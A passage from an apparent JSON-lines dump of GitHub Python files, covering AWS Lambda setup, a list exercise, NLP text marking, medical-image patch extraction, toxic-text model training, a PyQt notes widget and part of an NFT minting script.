EMAILING_LAMBDA_ZIPPED_FILE_NAME\n email_lambda_arn = create_lambda_function(function_name=EMAILING_FUNCTION_NAME, role=LAB_ROLE_ARN,\n code_source=code_source, handler_name=EMAILING_LAMBDA_HANDLER_NAME)\n return dyno_lambda_arn, email_lambda_arn\n","repo_name":"frimpongopoku/boto3-shenanigans","sub_path":"lambdas/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":3158,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"878283472","text":"#in list we dont use *args instead we use args\r\ndef input (args):\r\n positiveList=[]\r\n print(args)\r\n for i in args:\r\n if i>0:\r\n positiveList.append(i)\r\n \r\n return positiveList\r\n \r\n\r\nprint(input([-2,-1,0,1,2,3]))\r\n\r\n","repo_name":"RiteshRijal/python","sub_path":"day3qsn.py","file_name":"day3qsn.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35936095834","text":"import fileinput, re, nltk, NoteTakingSplitter\n\nfull_sentences = []\nstarting = []\nending = []\ndiff_combined = ['good_combined', 'bad_combined']\nchapter = 'Chapter_2'\nwith open('{}/Lesson4_all'.format(chapter), 'r') as f:\n for sentence in f:\n full_sentences.append(sentence)\n\nfor i, sentence in enumerate(full_sentences):\n if i != 0 and i != len(full_sentences) - 1:\n if full_sentences[i - 1] == '^\\n':\n starting.append(sentence)\n if full_sentences[i + 1] == '^\\n':\n ending.append(sentence)\n\nfor combined in diff_combined:\n for i, parent_sentence in enumerate(starting):\n sentence_searcher = re.compile(r'(.*)(\\n$)')\n with open('{}/{}'.format(chapter, combined), 'r') as f:\n for line in f:\n if line == parent_sentence:\n mo = sentence_searcher.search(line)\n if mo != None:\n new_line = mo.group(1) + ' ' + '$' + mo.group(2)\n with fileinput.FileInput('{}/{}'.format(chapter, combined), True) as fs:\n for sline in fs:\n print(sline.replace(line, new_line), end='')\n\n for i, parent_sentence in enumerate(ending):\n sentence_searcher = re.compile(r'(.*)(\\n$)')\n with open('{}/{}'.format(chapter, combined), 'r') as f:\n for line in f:\n if line == parent_sentence:\n mo = sentence_searcher.search(line)\n if mo != None:\n new_line = mo.group(1) + ' ' + '@' + mo.group(2)\n with fileinput.FileInput('{}/{}'.format(chapter, combined), True) as fs:\n for sline in fs:\n print(sline.replace(line, new_line), end='')\n","repo_name":"DNCHOW1/Python-Projects","sub_path":"NLP_WPAPNOTES/NoteTakingStartEnd.py","file_name":"NoteTakingStartEnd.py","file_ext":"py","file_size_in_byte":1814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70905921746","text":"import os\nimport cv2\nimport numpy as np\nimport pandas as pd\n\nfrom PIL import Image\nfrom torchvision import transforms\nfrom rasterio.features import rasterize\nfrom shapely.geometry import shape\nfrom torch.utils.data import Dataset\n\nimport misc\nimport config\nfrom tissue_detection import TissueDetection\n\n# os.environ['PATH'] = constants.OPENSLIDE_PATH + \";\" + os.environ['PATH']\n# os.add_dll_directory(constants.OPENSLIDE_PATH)\nimport openslide\n\nclass PatchDataset(Dataset):\n def __init__(self, wsi_paths, annotations, max_num_patches=1000, coords_file_path=None, transform=None, save_dir=None, remove_coords=True):\n \"\"\"\n Dataset class for extracting and providing patches from whole-slide images (WSIs).\n\n Args:\n wsi_paths (list): List of paths to the WSIs.\n annotations (list): List of annotations of ROIs in GeoJSON format corresponding to each WSI.\n transform (callable, optional): Optional transform to be applied to each patch. Defaults to None.\n save_dir (str, optional): Directory to save the extracted patches. Defaults to None.\n num_patches (int, optional): The maximum number of patches extracted from a WSI.\n coords_file_path (str, optional): The path to the file that will store the coordiantes of the extracted patches.\n \"\"\"\n self.wsi_paths = wsi_paths\n self.annotations = annotations\n self.max_num_patches = max_num_patches\n self.coords_file_path = coords_file_path\n self.transform = transform if transform else transforms.ToTensor()\n self.save_dir = save_dir\n self.saved_patches_wsi = set() # Keep track of the WSIs for which the patches have already been saved\n\n # Remove previous coords files if exists\n if remove_coords and os.path.exists(self.coords_file_path):\n os.remove(self.coords_file_path)\n\n def __len__(self):\n return len(self.wsi_paths)\n\n def annotation_to_roi_mask(self, annotation, image_dims):\n \"\"\"Generates a binary mask of the ROI based on a GeoJSON annotation.\n Args:\n annotation (dict): A dictionary containing the GeoJSON annotation.\n image_dims (tuple): The dimensions of the image (width, height).\n Returns:\n np.array: A 2D numpy array representing the binary mask of the ROI.\n \"\"\"\n shapes = [(shape(feature['geometry']), 1) for feature in annotation['features']]\n # Rasterize the list of shapes onto a binary mask which represent the ROI as a 2D numpy array,\n # where pixels within the ROI have a value of 1 and pixels outside the ROI have a value of 0.\n mask = rasterize(shapes, out_shape=image_dims)\n return mask\n\n def extract_patches_within_roi(self, wsi_img, roi_mask, best_level, base_patch_size, scaled_patch_size, overlap_percent=20, roi_overlap_ration=0.7):\n \"\"\"\n Extracts patches from the region of interest (ROI) within a whole-slide image (WSI).\n\n Args:\n roi_mask (np.array): A binary mask of the ROI, where non-zero values indicate the region of interest.\n best_level (int): The level of the WSI from which to extract the patches. This level provides the desired magnification.\n based_patch_size (tuple): The target size at the end for patches after they've been extracted.\n scaled_patch_size (tuple): The size of the patches to extract, scaled to the target magnification level.\n overlap_percent (int, optional): The desired overlap between patches, specified as a percentage. Defaults to 20.\n min_overlap_ratio (float, optional): The minimum required overlap ratio between a patch and the ROI. Defaults to 0.7 (If at least 70% of the patch lies within the ROI, we accept it).\n\n Returns:\n list: A list of extracted patches.\n\n \"\"\"\n patches_coords = [] # Store a dictionary for each patch, where the key is the patch and the value is its coordiantes\n\n stride = [int(dim * (1 - overlap_percent / 100)) for dim in scaled_patch_size] # calculate stride based on the desired overlap\n patch_area = np.prod(scaled_patch_size)\n min_within_roi = patch_area * roi_overlap_ration\n\n for y in range(0, roi_mask.shape[0], stride[1]):\n for x in range(0, roi_mask.shape[1], stride[0]):\n roi_overlap = np.sum(roi_mask[y:y+scaled_patch_size[1], x:x+scaled_patch_size[0]])\n if roi_overlap >= min_within_roi: # Only extract patches that are mostly insdie the ROI based on min_overlap_ratio\n coord = (x, y)\n\n if best_level < len(wsi_img.level_dimensions):\n # If the desired level is within the available levels of the WSI\n patch = np.array(wsi_img.read_region(coord, best_level, scaled_patch_size))[:, :, :3]\n else:\n # If the desired level is beyond the available levels of the WSI\n full_res_patch = np.array(wsi_img.read_region(coord, 0, scaled_patch_size))[:, :, :3]\n patch = cv2.resize(full_res_patch, scaled_patch_size, interpolation=cv2.INTER_LINEAR)\n\n # Ensure that the patch has the same size as base_patch_size\n if patch.shape[:2] != base_patch_size:\n # Resize the full-resolution patch to the target size using interpolation\n patch = cv2.resize(patch, base_patch_size, interpolation=cv2.INTER_LINEAR)\n\n h, w, _ = patch.shape\n if h == base_patch_size[1] and w == base_patch_size[0]:\n if not misc.is_white_background(patch):\n if self.transform:\n try:\n patch = self.transform(patch)\n except Exception:\n continue # skip the patch\n\n patch_array = patch.numpy().transpose(1, 2, 0)\n # Normalize pixel values to the range of 0-255\n patch_normalized = ((patch_array - patch_array.min()) / (patch_array.max() - patch_array.min())) * 255\n patch = patch_normalized.astype('uint8')\n\n if misc.is_valid_patch(patch):\n patches_coords.append({'patch': patch, 'coord': coord})\n else:\n print('Encoutered an issue while extracting patches from:', os.path.basename(wsi_img._filename))\n\n if self.max_num_patches and len(patches_coords) >= self.max_num_patches:\n break\n if self.max_num_patches and len(patches_coords) >= self.max_num_patches:\n break\n if self.max_num_patches and len(patches_coords) >= self.max_num_patches:\n break\n\n if len(patches_coords) == 0:\n print('No patches were extracted from slide:', os.path.basename(wsi_img._filename))\n \n return patches_coords\n\n # Return patches from a WSI\n def __getitem__(self, index):\n wsi_path = self.wsi_paths[index]\n if self.annotations and len(self.annotations) > index:\n annotation = self.annotations[index]\n\n base_patch_size = (config.PATCH_SIZE, config.PATCH_SIZE)\n\n # Get the pathology number from the WSI path\n img_name = os.path.basename(wsi_path)\n pathology_number = misc.get_pathology_num_from_labels(img_name)\n\n # Check if patches for the current WSI already exist in any of the sets\n # NOTE: Changing folder names in which the patches will be stored requires changing the list \n # for set in [config.TRAIN_PATCHES, config.VALID_PATCHES, config.TEST_PATCHES]:\n # if os.path.exists(set):\n # patches = os.listdir(set)\n # if any(file.startswith(pathology_number) for file in patches):\n # # Patches already exist for this WSI, so skip to the next\n # print('Patches for', pathology_number, 'already exist in', set + ' directory. Skipped extracting patches.' )\n # return []\n \n print('Extracting patches for:', pathology_number)\n\n # Load the WSI image\n wsi_img = openslide.OpenSlide(wsi_path)\n\n # Retrieve the base magnification from the WSI metadata\n base_magnification = misc.get_base_magnification(wsi_img, pathology_number)\n if base_magnification is None:\n print('Base magnification metadata for', pathology_number, 'is missing. Skipped extracting patches.' )\n return []\n\n # Calculate the patch size for the target magnification\n downsample_factor = base_magnification / config.TARGET_MAGNIFICATION\n patch_size = tuple(int(downsample_factor * dim) for dim in base_patch_size)\n best_level = wsi_img.get_best_level_for_downsample(downsample_factor)\n\n level_downsample = wsi_img.level_downsamples[best_level]\n scaled_patch_size = tuple(int(np.ceil(ps / level_downsample)) for ps in patch_size)\n\n if annotation is not None:\n # Generate the ROI mask from the annotation\n roi_mask = self.annotation_to_roi_mask(annotation, wsi_img.dimensions[::-1]) # NOTE: dimensions are given in (width, height) but numpy arrays are in (height, width)\n else:\n # Generate the tissue mask if there are no annotations\n td = TissueDetection(wsi_img)\n tissue_mask = td.generate_mask(level = best_level, return_mask=True)\n\n if tissue_mask is None:\n raise ('Could not create a tissue mask for slide:', pathology_number, '. Skipping extracting patches...' )\n \n # Convert PIL Image mask to numpy array \n roi_mask = np.array(tissue_mask)\n\n # Extract patches as well as their scaled coordinates from the ROI\n patches_coords = self.extract_patches_within_roi(wsi_img, roi_mask, best_level, base_patch_size, scaled_patch_size, overlap_percent=0, roi_overlap_ration=0.7)\n\n # Save the normalized patch if a save directory was provided\n if len(patches_coords) > 0 and self.save_dir is not None and wsi_path not in self.saved_patches_wsi:\n self.saved_patches_wsi.add(wsi_path) # Add the WSI to the set of saved WSIs, only one patch from each WSI is saved\n\n patches = []\n all_coords = [] # Coordinates for all the patches of all WSIs\n\n patch_index = 1\n for patch_coords in patches_coords:\n patch = patch_coords['patch']\n coord = patch_coords['coord']\n patch_id = f\"{pathology_number}_{patch_index}\" # NOTE: Changing patch file name format requires changing extracting patch name in ClassificationWSI.py\n\n patches.append(patch)\n all_coords.append({'patch_id': patch_id, 'X': coord[0], 'Y': coord[1]})\n\n patch_pil = Image.fromarray(patch)\n patch_pil.save(os.path.join(self.save_dir, patch_id + \".png\"))\n patch_index += 1\n\n # Save coordinates to an Excel file\n new_coords_df = pd.DataFrame(all_coords)\n\n # If there was already a coords file, it would've been deleted in __init__\n # So if a coords file exists, it would be for previously processed WSIs, so we can safely add to it\n if os.path.exists(self.coords_file_path):\n existing_coords_df = pd.read_excel(self.coords_file_path)\n new_coords_df = pd.concat([existing_coords_df, new_coords_df], ignore_index=True)\n\n new_coords_df.to_excel(self.coords_file_path, index=False)\n\n return patches\n","repo_name":"Sarah-Hindawi/WSI_Classification","sub_path":"patch_dataset.py","file_name":"patch_dataset.py","file_ext":"py","file_size_in_byte":11913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43446551556","text":"import os\nimport sys\nimport time\nimport torch\nimport random\nimport logging\nimport argparse\nimport warnings\nimport datetime\nimport numpy as np\nfrom trainers import DefaultTrainer, InvratTrainer\nfrom data_utils import load_data\nfrom models import textcnn, textrnn, restext, bert\nfrom evaluation import evaluate\nfrom transformers import AutoModel\nfrom copy import deepcopy\nfrom pathlib import Path\n\n\ndef bert_backbone_config(name):\n backbone = AutoModel.from_pretrained(name)\n arch = str(name).split('-')[0]\n if arch in ['bert', 'roberta', \"distilroberta\"]:\n return {'embeddings': backbone.embeddings, 'encoder': backbone.encoder, 'num_hidden_layers': backbone.config.num_hidden_layers,\n 'extend_attention': True}\n if arch in [\"distilbert\"]:\n return {'embeddings': backbone.embeddings, 'encoder': backbone.transformer, 'num_hidden_layers': backbone.config.num_hidden_layers}\n else:\n raise NotImplementedError(f\"unsupported model {name}\")\n\n\nclass Instructor:\n\n def __init__(self, args):\n self.args = args\n self.logger = logging.getLogger()\n self.logger.setLevel(logging.INFO)\n self.logger.addHandler(logging.StreamHandler(sys.stdout))\n self.logger.addHandler(logging.FileHandler(os.path.join('logs', args.log_name)))\n self._print_args()\n dataloaders = load_data(args=args, batch_size=args.batch_size, bert_name=args.bert_name)\n self.train_dataloader, self.dev_dataloader, self.test_dataloader, self.tokenizer, embedding_matrix = dataloaders\n args.tokenizer = self.tokenizer\n self.logger.info('=> creating model')\n writer = None\n if args.do_invrat:\n rationale_configs = {'num_classes': 2, 'embedding_matrix': embedding_matrix, 'dropout': 0.1, 'output_token_hidden': True}\n inv_configs = {'num_classes': 2, 'embedding_matrix': embedding_matrix, 'dropout': 0.1}\n enable_configs = {'num_classes': 2, 'embedding_matrix': embedding_matrix, 'dropout': 0.1, 'use_env': True,\n 'accumulator': args.accumulator}\n if args.bert_name:\n update_config = bert_backbone_config(args.bert_name)\n if args.weight_sharing:\n rationale_configs.update(update_config)\n inv_configs.update(update_config)\n enable_configs.update(update_config)\n else:\n rationale_configs.update(deepcopy(update_config))\n inv_configs.update(deepcopy(update_config))\n enable_configs.update(deepcopy(update_config))\n models = [args.rationale_model_class(rationale_configs), args.model_class(inv_configs), args.model_class(enable_configs)]\n self.trainer = InvratTrainer(models, writer, args)\n else:\n configs = {'num_classes': 2, 'embedding_matrix': embedding_matrix, 'dropout': 0.1}\n if args.bert_name:\n configs.update(bert_backbone_config(args.bert_name))\n model = args.model_class(configs)\n self.trainer = DefaultTrainer(model, writer, args)\n if args.from_ckpt:\n self.trainer.load_state_dict(torch.load(args.from_ckpt))\n self.trainer.to(args.device)\n if args.device.type == 'cuda':\n self.logger.info(f\"=> cuda memory allocated: {torch.cuda.memory_allocated(self.args.device.index)}\")\n self.best_record = {'epoch': 0, 'overall_auc': 0, 'model_state': None}\n print('=> build Instructor done')\n\n def _print_args(self):\n print('TRAINING ARGUMENTS:')\n for arg in vars(self.args):\n print(f\">>> {arg}: {getattr(self.args, arg)}\")\n\n def _update_record(self, global_step, overall_auc, best_record):\n if overall_auc > best_record['overall_auc']:\n best_record['global_step'] = global_step\n best_record['overall_auc'] = overall_auc\n best_record['model_state'] = self.trainer.save_state_dict()\n torch.save(self.trainer.save_state_dict(), os.path.join('state_dict', f\"{self.args.timestamp}.pt\"))\n return best_record\n\n def _train(self, dataloader, epoch, eva_update_func):\n self.trainer.train(dataloader, epoch, eva_update_func)\n\n def _validate(self, dataloader, max_steps=None, inference=False):\n torch.cuda.empty_cache()\n if inference:\n all_cid, all_pred, _ = self.trainer.predict(dataloader)\n return all_cid, all_pred\n else:\n val_loss, val_acc, all_cid, all_pred, _ = self.trainer.evaluate(dataloader, max_steps)\n ''' bias auc may be nan when a subgroup is empty '''\n overall_auc, bias_auc, final_score = evaluate(np.array(all_pred), np.array(all_cid), dev_json=args.dev_json)\n return val_loss, val_acc, overall_auc, bias_auc, final_score\n\n def evaluate_and_update(self, global_step, max_steps):\n val_loss, val_acc, overall_auc, bias_auc, final_score = self._validate(self.dev_dataloader, max_steps)\n self.best_record = self._update_record(global_step, overall_auc, self.best_record)\n self.logger.info(f\"[val] loss: {val_loss:.4f}, acc: {val_acc * 100:.2f}\")\n self.logger.info(f\"[val] auc: {overall_auc * 100:.2f}, bias_auc: {bias_auc * 100:.2f}, score: {final_score * 100:.2f}\")\n all_cid, all_pred = self._validate(self.test_dataloader, inference=True)\n fname = f\"{self.args.model_name}_{self.args.bert_name}_{self.args.timestamp}/{global_step}_{self.best_record['overall_auc'] * 100:.2f}.txt\"\n Path(fname).parent.mkdir(parents=True, exist_ok=True)\n with open(fname, 'w', encoding='utf-8') as f:\n f.write('\\n'.join([f\"{cid} {pred}\" for cid, pred in zip(all_cid, all_pred)]))\n self.logger.info(f\"submission result saved: {fname}\")\n\n def run(self):\n for epoch in range(self.args.num_epoch):\n self._train(self.train_dataloader, epoch, self.evaluate_and_update)\n # self.logger.info(f\"{epoch + 1}/{self.args.num_epoch} - {100 * (epoch + 1) / self.args.num_epoch:.2f}%\")\n # self.logger.info(f\"[train] loss: {train_loss:.4f}, acc: {train_acc * 100:.2f}\")\n\n\nif __name__ == '__main__':\n\n model_classes = {'textcnn': textcnn, 'textrnn': textrnn, 'restext': restext, 'bert': bert}\n parser = argparse.ArgumentParser(description='Trainer', formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n ''' dataset '''\n parser.add_argument('--train_json', type=str, default='train.json')\n parser.add_argument('--dev_json', type=str, default='dev.json')\n parser.add_argument('--test_json', type=str, default='test.json')\n ''' model '''\n parser.add_argument('--model_name', type=str, default='textcnn', choices=model_classes.keys(), help='Classifier model architecture.')\n parser.add_argument('--bert_name', type=str, default=None, help='Bert name.')\n ''' optimization '''\n parser.add_argument('--num_epoch', type=int, default=50, help='Number of epochs to train.')\n parser.add_argument('--batch_size', type=int, default=64, help='Batch size.')\n parser.add_argument('--lr', type=float, default=1e-4, help='Learning rate.')\n parser.add_argument('--decay', type=float, default=1e-5, help='Weight decay (L2 penalty).')\n parser.add_argument('--clip_norm', type=int, default=20, help='Maximum norm of gradients.')\n ''' environment '''\n parser.add_argument('--device', type=str, default=None, choices=['cpu', 'cuda'], help='Selected device.')\n parser.add_argument('--seed', type=int, default=None, help='Random seed.')\n parser.add_argument('--timestamp', type=str, default=None, help='Experiment timestamp.')\n parser.add_argument('--no_bar', default=False, action='store_true', help='Disable process bar.')\n parser.add_argument('--no_backend', default=False, action='store_true', help='Use frontend matplotlib.')\n ''' invrat '''\n trainer_classes = {'default': DefaultTrainer, 'invrat': InvratTrainer}\n parser.add_argument('--trainer_name', default='default', type=str, choices=trainer_classes.keys(), help='choose trainer')\n parser.add_argument('--rationale_name', type=str, default=None, help='rationale generator model class name')\n parser.add_argument('--accumulator', type=str, default='sum', help='multi env pooler')\n parser.add_argument('--sparsity_percentage', type=float, default=0.2, help='the sparsity percentage for rationale')\n parser.add_argument('--sparsity_lambda', type=float, default=1, help='the penalty coefficient for rationale sparsity loss')\n parser.add_argument('--continuity_lambda', type=float, default=2, help='the penalty coefficient for rationale continuity loss')\n parser.add_argument('--diff_lambda', type=float, default=10, help='the penalty coefficient for env_inv and env_enable model diff loss')\n parser.add_argument('--weight_sharing', default=False, action='store_true', help='sharing bert weight among models')\n parser.add_argument('--from_ckpt', type=str)\n\n args = parser.parse_args()\n args.model_class = model_classes[args.model_name]\n args.trainer_class = trainer_classes[args.trainer_name]\n args.do_invrat = (args.trainer_name == 'invrat')\n if args.do_invrat:\n args.rationale_model_class = model_classes[args.rationale_name]\n args.log_name = f\"{args.model_name}_{datetime.datetime.now().strftime('%Y-%m-%d_%H-%M-%S')[2:]}.log\"\n args.timestamp = args.timestamp if args.timestamp else str(int(time.time())) + format(random.randint(0, 999), '03')\n args.seed = args.seed if args.seed else random.randint(0, 2 ** 32 - 1)\n args.device = torch.device(args.device) if args.device else torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n ''' set seeds '''\n random.seed(args.seed)\n np.random.seed(args.seed)\n torch.manual_seed(args.seed)\n torch.cuda.manual_seed_all(args.seed)\n ''' global settings '''\n for dir_name in ['dats', 'logs', 'state_dict']:\n if not os.path.exists(dir_name):\n os.mkdir(dir_name)\n warnings.simplefilter(\"ignore\")\n ins = Instructor(args)\n ins.run()\n","repo_name":"hiyouga/Toxic_Detection","sub_path":"code/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10124,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"36471744775","text":"from PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom method.fileMethod import *\n\nimport sys\nimport json\n\n\nclass CheckWidget(QWidget):\n close_signal = pyqtSignal(object)\n\n def __init__(self, main_widget=None, code=None):\n super().__init__()\n\n self.setWindowTitle('检查事项')\n\n self.resize(600, 850)\n self.main_widget = main_widget\n self._code = code\n\n self.label = QLabel('000000: 测试')\n self.button1 = QPushButton('上传')\n self.button2 = QPushButton('下载')\n\n self.button3 = QPushButton('添加')\n self.button4 = QPushButton('删除')\n self.button5 = QPushButton('选择')\n\n self.label.setFont(QFont('Consolas', 18))\n\n layout = QVBoxLayout()\n self.tab = QTabWidget()\n self.tab.setMovable(True)\n self.tab.setFont(QFont('Consolas', 14))\n\n layout1 = QHBoxLayout()\n layout1.addStretch(0)\n layout1.addWidget(self.button1)\n layout1.addWidget(self.button2)\n layout1.addWidget(self.button3)\n layout1.addWidget(self.button4)\n layout1.addWidget(self.button5)\n layout1.addStretch(0)\n\n layout.addWidget(self.label)\n layout.addWidget(self.tab)\n layout.addLayout(layout1)\n self.setLayout(layout)\n\n self.button1.clicked.connect(self.upload)\n self.button2.clicked.connect(self.download)\n self.button3.clicked.connect(self.tab_add)\n self.button4.clicked.connect(self.tab_del)\n self.button5.clicked.connect(self.select)\n self.tab.tabBarDoubleClicked.connect(self.tab_double_clicked)\n\n path = \"..\\\\basicData\\\\checkList3.txt\"\n with open(path, \"r\", encoding=\"utf-8\", errors=\"ignore\") as f:\n self.txt_ini = str(f.read())\n\n self.tab_ini = 'New'\n\n self.download()\n\n @property\n def code(self):\n if self.main_widget is None:\n ret = self._code\n else:\n ret = self.main_widget.stock_code\n return ret\n\n @property\n def code_name(self):\n if self.main_widget is None:\n code = self._code\n name_dict = load_json_txt('..\\\\basicData\\\\code_names_dict.txt', log=False)\n ret = name_dict.get(code)\n else:\n ret = self.main_widget.stock_name\n return ret\n\n def upload(self):\n\n code = self.code\n res = self.read_tab()\n\n path = \"..\\\\basicData\\\\self_selected\\\\gui_check.txt\"\n remark_dict = load_json_txt(path, log=False)\n remark_dict[code] = res\n\n if len(res) == 0:\n remark_dict.pop(code)\n\n write_json_txt(path, remark_dict, log=False)\n\n if self.main_widget is not None:\n self.main_widget.show_stock_name()\n\n def download(self):\n code = self.code\n name = self.code_name\n txt1 = '%s: %s' % (code, name)\n\n path = \"..\\\\basicData\\\\self_selected\\\\gui_check.txt\"\n remark_dict = load_json_txt(path, log=False)\n\n if code in remark_dict:\n res = remark_dict[code]\n else:\n res = dict()\n\n self.label.setText(txt1)\n self.show_tab(res)\n\n def show_tab(self, src):\n self.tab.clear()\n\n if len(src) == 0:\n src[self.tab_ini] = self.txt_ini\n\n for key, value in src.items():\n txt = self.txt_ini if value is None else value\n editor = QTextEdit()\n editor.setText(txt)\n editor.setFont(QFont('Consolas', 14))\n self.tab.addTab(editor, key)\n\n def read_tab(self):\n res = dict()\n for index in range(self.tab.count()):\n key = self.tab.tabText(index)\n editor = self.tab.widget(index)\n txt = editor.toPlainText()\n\n value = None if txt == self.txt_ini else txt\n if key == self.tab_ini and value is None:\n continue\n else:\n res[key] = value\n return res\n\n def get_tab_text(self):\n ret = []\n for index in range(self.tab.count()):\n ret.append(self.tab.tabText(index))\n return ret\n\n def tab_double_clicked(self, index):\n ini = self.tab.tabText(index)\n txt, _ = QInputDialog.getText(self, '业务', '请输入:', text=ini)\n if txt == '':\n return\n self.tab.setTabText(index, txt)\n\n def tab_add(self):\n txt, _ = QInputDialog.getText(self, '业务', '请输入:')\n if txt == '':\n return\n if txt in self.get_tab_text():\n return\n editor = QTextEdit()\n editor.setText(self.txt_ini)\n editor.setFont(QFont('Consolas', 14))\n self.tab.addTab(editor, txt)\n\n def tab_del(self):\n txt, _ = QInputDialog.getText(self, '业务', '请输入:')\n tab_list = self.get_tab_text()\n if txt not in tab_list:\n return\n self.tab.removeTab(tab_list.index(txt))\n\n def select(self):\n if self.main_widget is None:\n txt, _ = QInputDialog.getText(self, '选择', '请输入:')\n\n name_dict = load_json_txt('..\\\\basicData\\\\code_names_dict.txt', log=False)\n\n if txt in name_dict.keys():\n self._code = txt\n\n if txt in name_dict.values():\n for key, value in name_dict.items():\n if value == txt:\n self._code = key\n\n if self._code is not None:\n self.download()\n\n def closeEvent(self, event):\n self.close_signal.emit(self)\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n main = CheckWidget(code='600438')\n main.show()\n sys.exit(app.exec_())\n","repo_name":"delonxd/stockAnalysis","sub_path":"gui/checkWidget.py","file_name":"checkWidget.py","file_ext":"py","file_size_in_byte":5720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"39472194983","text":"from pathlib import Path\nfrom brownie import (\n network,\n DigiHomie,\n accounts,\n config,\n Contract,\n)\nfrom scripts.helpful_scripts import *\nfrom metadata import sample_metadata\nfrom web3 import Web3\nfrom PIL import Image\nimport numpy as np\nimport os as os\nimport json as json\nfrom pathlib import Path\nimport requests\n\nASSETFOLDER = \"../../Assets/\"\n\n##################################################################################\n## Final Steps: ##\n## 1 - CreatHomies(500, True) - Create 1-499 end to end, revealed ##\n## 2 - CreateHomies(500, False) - Create 500-999 with 'PENDING' meta ##\n## 3 - SetTokenMApping(500) - Create image/meta and MAP, for later MINTING ##\n## 4 - UserMintHomies(1-10) - MINT and setTokenURI to MAPPED via tokenIdtoURI ##\n## 5 - ResovleTokenURI(x) - Will 'reveal' minted 'PENDING' tokens ##\n## 6 - ResolveAllTokenURIs() - Will 'reveal' ALL minted 'PENDING' tokens ##\n##################################################################################\n\n# Loading uri \"ipfs://Qme9i2UjhqA6evVSWZaCHgSF4AvgQzsb4mVUDwP971ZNfL\"\n\n\ndef main():\n\n # Test\n i = 0\n while(i < 5000):\n generateHomiesAndFilesTEST(i)\n i = i + 1\n\n # Create tokens, set TOTAL - number it will create up to, from current total\n # createHomies(20, True) # With URI\n\n # Create tokens, set TOTAL - number it will create up to, from current total (5, must be < 5)\n # createHomies(30, False) # Without URI (mapped but not exposed)\n\n # Will NOT mint, will create image/meta and store uri in contract mapping, for later userMint\n # setTokenMapping(50)\n\n #print(\"Total tokens is {}\".format(getTokenCount()))\n\n # Resolve mapped will set 'pending' URI to mapped (final) URI of meta w/ png and traits in tact\n # WILL BE THE EXACT # (token) - resolveTokenURI(11) will expose the # 11 token\n # resolveTokenURI(10)\n # resolveTokenURI(1)\n # resolveTokenURI(8)\n\n # Resolve ALL tokens should resolve rest, will skip set\n # resolveAllTokensURIs()\n\n # mappedURI = getMappedURI(3)\n # print(\"Mapped URI is {}\".format(mappedURI))\n # tokenURI = getTokenURI(3)\n # print(\"TokenURI is: {}\".format(tokenURI))\n\n ## Retrieve metadata URI by tokenId()##\n # setTokenMapping(8) # Must be larger, starts from last...\n\n #print(\"Mapped URI: {}\".format(getMappedURI(22)))\n #print(\"Token URI: {}\".format(getTokenURI(22)))\n\n # User can mint any mapped, but not created, up to total\n # userMintHomies(5)\n\n # Print token count & mapped count\n # digiHomie = DigiHomie[len(DigiHomie)-1] # Get the most recent\n #print(\"Token Counter: \" + str(digiHomie.tokenCounter()))\n #print(\"Mapped Counter: \" + str(digiHomie.mappedCounter()))\n\n\ndef userMintHomies(total):\n print(\"Working on \" + network.show_active())\n print(\"Minting {} tokens by resolving tokenURI to mappedURI in tokenIdToMapped()\".format(total))\n dev = accounts.add(config[\"wallets\"][\"from_key\"])\n digiHomie = DigiHomie[len(DigiHomie)-1] # Get the most recent\n transaction = digiHomie.userMintHomies(total, {\"from\": dev})\n\n\n##Retrieve metadata URI from mapping via tokenId##\ndef setTokenMapping(total):\n print(\"Working on \" + network.show_active())\n dev = accounts.add(config[\"wallets\"][\"from_key\"])\n digiHomie = DigiHomie[len(DigiHomie)-1] # Get the most recent\n\n iteration = digiHomie.mappedCounter()\n while(iteration < total):\n print(\"Iteration: \" + str(iteration))\n print(\"Token Counter: \" + str(digiHomie.tokenCounter()))\n print(\"Mapped Counter: \" + str(digiHomie.mappedCounter()))\n\n # Generate image, metadata and upload to IPFS\n uri = generateHomies(iteration)\n print(\"URI: {}\".format(uri))\n transaction = digiHomie.setTokenMapping(uri, {\"from\": dev})\n print(\"Setting URI to {} \".format(uri))\n transaction.wait(1)\n iteration = iteration + 1\n print(\"Token Counter: \" + str(digiHomie.tokenCounter()))\n print(\"Mapped Counter: \" + str(digiHomie.mappedCounter()))\n\n\ndef getTokenURI(tokenId):\n digiHomie = DigiHomie[len(DigiHomie)-1]\n tokenURI = digiHomie.tokenURI(tokenId)\n return tokenURI\n\n\n##Retrieve metadata URI from mapping via tokenId##\ndef getMappedURI(tokenId):\n digiHomie = DigiHomie[len(DigiHomie)-1]\n mappedURI = digiHomie.tokenIdToURI(tokenId)\n return mappedURI\n\n\n##Retreive total tokens/homies deployed##\ndef getTokenCount():\n digiHomie = DigiHomie[len(DigiHomie)-1]\n number_of_homies = digiHomie.tokenCounter()\n # print(\"The number of NFTs deployed: {}\".format(number_of_homies))\n return number_of_homies\n\n\n##Retreive total tokens/homies deployed##\ndef getMappedCount():\n digiHomie = DigiHomie[len(DigiHomie)-1]\n mapped = digiHomie.mappedCounter()\n # print(\"The number of NFTs deployed: {}\".format(number_of_homies))\n return mapped\n\n# User mint will simply call mint\n\n\n##Creates Homies - 'setURI' boolean determines URI##\n##URI = FALSE - Set URI to 'loading' and meta to 'TBD'##\n##URI = FALSE - Set IPFS URI in mapping for later resolution##\n##URI = TRUE - Set URI & mapping to IPFS URI##\ndef createHomies(total, setURI):\n print(\"Working on \" + network.show_active())\n dev = accounts.add(config[\"wallets\"][\"from_key\"])\n digiHomie = DigiHomie[len(DigiHomie)-1] # Get the most recent\n iteration = digiHomie.tokenCounter()\n while(iteration < total):\n print(\"Iteration: \" + 